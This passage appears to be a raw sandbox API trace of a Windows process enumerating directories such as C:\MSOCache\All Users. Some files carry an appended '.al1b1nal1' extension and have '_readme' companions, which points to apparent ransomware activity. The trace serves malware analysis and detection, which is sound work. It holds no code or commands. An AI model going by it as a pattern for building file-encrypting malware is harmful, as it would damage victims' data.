ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="Documents and Settings", cAlternateFileName="")) returned 1 [0255.351] GetFileAttributesExW (in: lpFileName="C:\\Documents and Settings" (normalized: "c:\\documents and settings"), fInfoLevelId=0x0, lpFileInformation=0x118f930 | out: lpFileInformation=0x118f930*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0255.351] CreateFileW (lpFileName="C:\\Documents and Settings" (normalized: "c:\\documents and settings"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0255.351] GetLastError () returned 0x5 [0255.351] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8f258) returned 1 [0255.351] FindFirstFileExW (in: lpFileName="C:\\Documents and Settings\\*", fInfoLevelId=0x1, lpFindFileData=0x118f77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f77c) returned 0xffffffff [0255.351] GetLastError () returned 0x5 [0255.351] FindFirstFileExW (in: lpFileName="C:\\Documents and Settings\\*", fInfoLevelId=0x1, lpFindFileData=0x118f77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f77c) returned 0xffffffff [0255.352] GetLastError () returned 0x5 [0255.352] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8eea0) returned 1 [0255.352] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ef28) returned 1 [0255.352] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8f258) returned 1 [0255.352] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118fa34 | out: lpFindFileData=0x118fa34*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xaf0e7ea0, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0255.352] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118fa34 | out: lpFindFileData=0x118fa34*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0255.352] GetFileAttributesExW (in: lpFileName="C:\\MSOCache" (normalized: "c:\\msocache"), fInfoLevelId=0x0, lpFileInformation=0x118f930 | out: lpFileInformation=0x118f930*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0255.352] CreateFileW (lpFileName="C:\\MSOCache" (normalized: "c:\\msocache"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0255.352] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x118f974, lpLastWriteTime=0x118f974) returned 0 [0255.352] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x949690, nOutBufferSize=0x4000, lpBytesReturned=0x118f9cc, lpOverlapped=0x0 | out: lpOutBuffer=0x949690, lpBytesReturned=0x118f9cc, lpOverlapped=0x0) returned 0 [0255.352] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x949690) returned 1 [0255.352] NtClose (Handle=0x188) returned 0x0 [0255.352] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8f258) returned 1 [0255.353] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\*", fInfoLevelId=0x1, lpFindFileData=0x118f77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f77c) returned 0x548f40 [0255.353] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.353] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="")) returned 1 [0255.353] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="")) returned 0 [0255.353] GetLastError () returned 0x12 [0255.353] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\*", fInfoLevelId=0x1, lpFindFileData=0x118f77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f77c) returned 0x549000 [0255.353] FindClose (in: hFindFile=0x548f40 | out: hFindFile=0x548f40) returned 1 [0255.353] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.353] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="")) returned 1 [0255.353] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users" (normalized: "c:\\msocache\\all users"), fInfoLevelId=0x0, lpFileInformation=0x118f678 | out: lpFileInformation=0x118f678*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0255.425] CreateFileW (lpFileName="C:\\MSOCache\\All Users" (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0255.425] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x118f6bc, lpLastWriteTime=0x118f6bc) returned 0 [0255.425] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x949690, nOutBufferSize=0x4000, lpBytesReturned=0x118f714, lpOverlapped=0x0 | out: lpOutBuffer=0x949690, lpBytesReturned=0x118f714, lpOverlapped=0x0) returned 0 [0255.425] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x949690) returned 1 [0255.425] NtClose (Handle=0x188) returned 0x0 [0255.426] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0255.426] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548f40 [0256.427] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0257.404] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x847753b0, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x847753b0, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0257.404] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8ae5c010, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x8ae5c010, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0018-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0257.404] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8b31ec10, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x8b31ec10, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0019-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0257.404] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001A-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0257.404] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001B-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0257.404] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-002C-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0257.404] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0043-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0257.404] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0044-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0257.404] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0054-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0257.404] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00A1-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0257.404] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00B4-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0257.405] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00BA-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0257.405] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0115-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0257.405] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0117-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0257.405] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0011-0000-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0257.405] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-003B-0000-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0257.405] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0257.405] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 0 [0257.405] GetLastError () returned 0x12 [0257.405] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548fc0 [0257.405] FindClose (in: hFindFile=0x548f40 | out: hFindFile=0x548f40) returned 1 [0257.406] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0257.406] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x847753b0, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x847753b0, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0257.406] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x118f3c0 | out: lpFileInformation=0x118f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x847753b0, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x847753b0, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0257.408] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0257.408] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x118f404, lpLastWriteTime=0x118f404) returned 0 [0257.408] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x949690, nOutBufferSize=0x4000, lpBytesReturned=0x118f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x949690, lpBytesReturned=0x118f45c, lpOverlapped=0x0) returned 0 [0257.408] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x949690) returned 1 [0257.408] NtClose (Handle=0x188) returned 0x0 [0257.408] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e9d8) returned 1 [0257.408] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x118f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f20c) returned 0x548f40 [0257.410] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x847753b0, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x847753b0, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0257.411] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLR.cab.al1b1nal1", cAlternateFileName="")) returned 1 [0257.411] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x842fea70, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x842fea70, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x44d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLR.cab.al1b1nal1_readme", cAlternateFileName="")) returned 1 [0257.411] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xece1ee80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.msi.al1b1nal1", cAlternateFileName="")) returned 1 [0257.411] 